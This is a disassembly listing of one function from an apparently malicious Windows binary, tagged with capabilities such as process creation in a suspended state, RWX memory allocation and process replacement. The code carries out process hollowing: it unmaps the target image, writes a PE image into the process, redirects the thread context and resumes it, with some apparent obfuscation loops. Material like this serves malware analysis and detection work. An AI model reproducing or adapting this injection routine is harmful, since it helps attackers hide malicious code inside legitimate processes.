Function at 0x7ee4d4
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.0040b420
mov eax, dword [ebp - 8]
call fcn.0040b420
xor eax, eax
push ebp
push 0x7ee89f
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x7ee532
push 0x7ee8c0
push dword [ebp - 4]
push 0x7ee8d0
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 4
call fcn.0040c634
xor esi, esi
mov dword [0x8b9be0], ebx
mov eax, dword [0x8b9be0]
cmp word [eax], 0x5a4d
jne 0x7ee872
mov eax, dword [0x8b9be0]
mov eax, dword [eax + 0x3c]
add eax, ebx
mov dword [0x8b9be4], eax
mov eax, dword [0x8b9be4]
cmp dword [eax], 0x4550
jne 0x7ee872
mov eax, 0x8b9b90
xor ecx, ecx
mov edx, 0x44
call fcn.0040816c
mov eax, 0x8b9b80
xor ecx, ecx
mov edx, 0x10
call fcn.0040816c
mov dword [0x8b9b90], 0x44
push 0x8b9b80
push 0x8b9b90
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.0040c344
push eax
mov eax, dword [ebp - 4]
call fcn.0040c344
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x7ee872
mov eax, 0x8b9bd8
call fcn.007ee408
mov dword [0x8b9bd4], eax
cmp dword [0x8b9bd4], 0
je 0x7ee843
mov eax, dword [0x8b9bd4]
mov dword [eax], 0x10007
mov eax, dword [0x8b9bd4]
push eax
mov eax, dword [0x8b9b84]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x7ee831
lea eax, [ebp - 0xc]
mov edx, 0x7ee8e4
call fcn.0040b764
mov eax, dword [ebp - 0xc]
mov edx, 0x7ee9b8
call fcn.0040c6e4
je 0x7ee64d
push 0x8b9bdc
push 4
push 0x8b9be8
mov eax, dword [0x8b9bd4]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [0x8b9b80]
push eax
call sub.kernel32.dll_ReadProcessMemory
mov edi, 0x3ab5d890
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x34]
cmp eax, dword [0x8b9be8]
jne 0x7ee6c9
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [0x8b9b80]
push eax
call sub.ntdll_NtUnmapViewOfSection
test eax, eax
jne 0x7ee6a5
push 0x40
push 0x3000
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [0x8b9b80]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x8b9bec], eax
jmp 0x7ee6f2
push 0x40
push 0x3000
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x50]
push eax
push 0
mov eax, dword [0x8b9b80]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x8b9bec], eax
jmp 0x7ee6f2
push 0x40
push 0x3000
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [0x8b9b80]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x8b9bec], eax
cmp dword [0x8b9bec], 0
je 0x7ee831
add edi, dword [ebp - 0x10]
cmp edi, 0x37
je 0x7ee710
mov eax, ebx
call fcn.007ee43c
mov ebx, eax
mov edx, dword [0x8b9be4]
mov edx, dword [edx + 0x34]
mov eax, dword [0x8b9bec]
cmp edx, eax
je 0x7ee754
mov edx, dword [0x8714f4]
mov edx, dword [edx]
cmp byte [edx + 0x69], 0
jne 0x7ee754
mov edx, dword [0x8b9be4]
mov dword [edx + 0x34], eax
mov eax, dword [0x8b9be0]
mov eax, dword [eax + 0x3c]
add eax, ebx
mov edx, eax
mov eax, dword [0x8b9be4]
mov ecx, 0xf8
call fcn.0040741c
lea edx, [ebp - 0x14]
mov eax, dword [0x8714f4]
mov eax, dword [eax]
call fcn.00556010
mov eax, dword [ebp - 0x14]
mov edx, 0x7ee9c8
call fcn.0040c6e4
je 0x7ee7d2
push 0x8b9bdc
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x50]
push eax
push ebx
mov eax, dword [0x8b9bec]
push eax
mov eax, dword [0x8b9b80]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 0x8b9bdc
push 4
push 0x8b9bec
mov eax, dword [0x8b9bd4]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [0x8b9b80]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [0x8b9be4]
mov eax, dword [eax + 0x28]
add eax, dword [0x8b9bec]
mov edx, dword [0x8b9bd4]
mov dword [edx + 0xb0], eax
mov dword [ebp - 0x10], 6
mov edi, 0x3c
add edi, dword [ebp - 0x10]
cmp edi, 0x42
jne 0x7ee831
cmp dword [ebp - 0x10], 6
jne 0x7ee831
mov edi, 5
cmp edi, 0x22
jne 0x7ee807
mov eax, dword [0x8b9bd4]
push eax
mov eax, dword [0x8b9b84]
push eax
call sub.kernel32.dll_SetThreadContext
cmp edi, 0x38
jne 0x7ee817
mov eax, dword [0x8b9b84]
push eax
call sub.kernel32.dll_ResumeThread
push 0x32
call sub.kernel32.dll_Sleep
mov esi, dword [0x8b9b84]
push 0x32
call sub.kernel32.dll_Sleep
inc edi
cmp edi, 0x65
jne 0x7ee7f1
push 0x8000
push 0
mov eax, dword [0x8b9bd8]
push eax
call sub.kernel32.dll_VirtualFree
test esi, esi
jne 0x7ee872
lea edx, [ebp - 0x18]
mov eax, dword [0x8714f4]
mov eax, dword [eax]
call fcn.00556010
mov eax, dword [ebp - 0x18]
mov edx, 0x7ee9fc
call fcn.0040c6e4
je 0x7ee872
push 0
mov eax, dword [0x8b9b80]
push eax
call sub.kernel32.dll_TerminateProcess
call fcn.0040b06c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x7ee8a6
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.0040b39c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040b39c
ret